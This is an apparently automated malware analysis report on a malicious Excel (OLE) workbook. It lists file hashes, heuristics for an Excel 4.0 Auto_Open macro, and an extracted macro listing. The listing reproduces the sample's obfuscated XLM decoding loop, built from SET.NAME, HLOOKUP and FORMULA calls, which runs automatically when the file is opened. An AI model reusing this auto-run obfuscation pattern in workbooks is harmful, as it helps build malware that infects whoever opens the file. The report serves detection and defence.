Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0491cb19a60bb115…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:10 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 31806d764cfe99e4504c388b665dc7c3 SHA-1: 31c672fd67e7a6a1eac414c5e8c2c2c8dde33834 SHA-256: 0491cb19a60bb11543c716fbad60d64ca010df1c28c8700859f7a119fc4faa47
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6497 bytes
SHA-256: 59c059a0588e40e49e7376a19eb7338fea64df973e4dd65154db2a9c723691f7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jHoiJZ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C150 
' 0018     20 LABEL : Cell Value, String Constant - BpWRx len=0 
' 0018     24 LABEL : Cell Value, String Constant - BvIPWMXUJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - bYXtBIrJFd len=0 
' 0018     21 LABEL : Cell Value, String Constant - equXhI len=0 
' 0018     27 LABEL : Cell Value, String Constant - feFuhHwtBArF len=0 
' 0018     27 LABEL : Cell Value, String Constant - IgFrjXVFKUcG len=0 
' 0018     23 LABEL : Cell Value, String Constant - iwFNTbpf len=0 
' 0018     25 LABEL : Cell Value, String Constant - JAMBAuaYih len=0 
' 0018     23 LABEL : Cell Value, String Constant - jgoIeZfR len=0 
' 0018     24 LABEL : Cell Value, String Constant - KXhzTwSpX len=0 
' 0018     21 LABEL : Cell Value, String Constant - nvrCzQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - OAYYwP len=0 
' 0018     23 LABEL : Cell Value, String Constant - oBMtMyPU len=0 
' 0018     20 LABEL : Cell Value, String Constant - OwMqN len=0 
' 0018     23 LABEL : Cell Value, String Constant - OxMHfGXV len=0 
' 0018     24 LABEL : Cell Value, String Constant - pAwIZDYfb len=0 
' 0018     21 LABEL : Cell Value, String Constant - TAEDGr len=0 
' 0018     20 LABEL : Cell Value, String Constant - tvdfy len=0 
' 0018     22 LABEL : Cell Value, String Constant - VJpuIQt len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZSOAUVpg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jHoiJZ,C66,"SET.NAME("OAYYwP",VALUE("0"))",""
'  jHoiJZ,C68,"SET.NAME("ZSOAUVpg",OAYYwP)",""
'  jHoiJZ,C71,"SET.NAME("oBMtMyPU",OAYYwP)",""
'  jHoiJZ,C75,"SET.NAME("JAMBAuaYih",COUNTA(TAEDGr))",""
'  jHoiJZ,C80,"SET.NAME("tvdfy",COUNTA(IgFrjXVFKUcG))",""
'  jHoiJZ,C82,[],""
'  jHoiJZ,C85,"SET.NAME("KXhzTwSpX","")",""
'  jHoiJZ,C90,"ZSOAUVpg",""
'  jHoiJZ,C95,"SET.NAME("OxMHfGXV",HLOOKUP("*",TAEDGr,ZSOAUVpg,FALSE))",""
'  jHoiJZ,C98,"nvrCzQ",""
'  jHoiJZ,C102,"SET.NAME("BvIPWMXUJ",OAYYwP)",""
'  jHoiJZ,C107,[],""
'  jHoiJZ,C109,"BvIPWMXUJ",""
'  jHoiJZ,C113,"OwMqN",""
'  jHoiJZ,C115,"iwFNTbpf",""
'  jHoiJZ,C117,"BpWRx",""
'  jHoiJZ,C120,"SET.NAME("pAwIZDYfb",VALUE(HLOOKUP("*",IgFrjXVFKUcG,BpWRx,FALSE)))",""
'  jHoiJZ,C123,"VJpuIQt",""
'  jHoiJZ,C125,"KXhzTwSpX",""
'  jHoiJZ,C128,"oBMtMyPU",""
'  jHoiJZ,C132,NEXT(),""
'  jHoiJZ,C136,"feFuhHwtBArF",""
'  jHoiJZ,C138,"SET.NAME("f",INT(T(FORMULA(T(KXhzTwSpX)&"",""&T(feFuhHwtBArF)))))",""
'  jHoiJZ,C143,"equXhI",""
'  jHoiJZ,C145,NEXT(),""
'  jHoiJZ,C148,RETURN(),""
'  jHoiJZ,C172,"SET.NAME("jgoIeZfR",C66)",""
'  jHoiJZ,C177,"TAEDGr",""
'  jHoiJZ,C182,"SET.NAME("IgFrjXVFKUcG",R49C11)",""
'  jHoiJZ,C187,"SET.NAME("equXhI",195)",""
'  jHoiJZ,C192,"SET.NAME("bYXtBIrJFd",3)",""
'  jHoiJZ,C194,jgoIeZfR(),""
'  jHoiJZ,C195,HALT(),""

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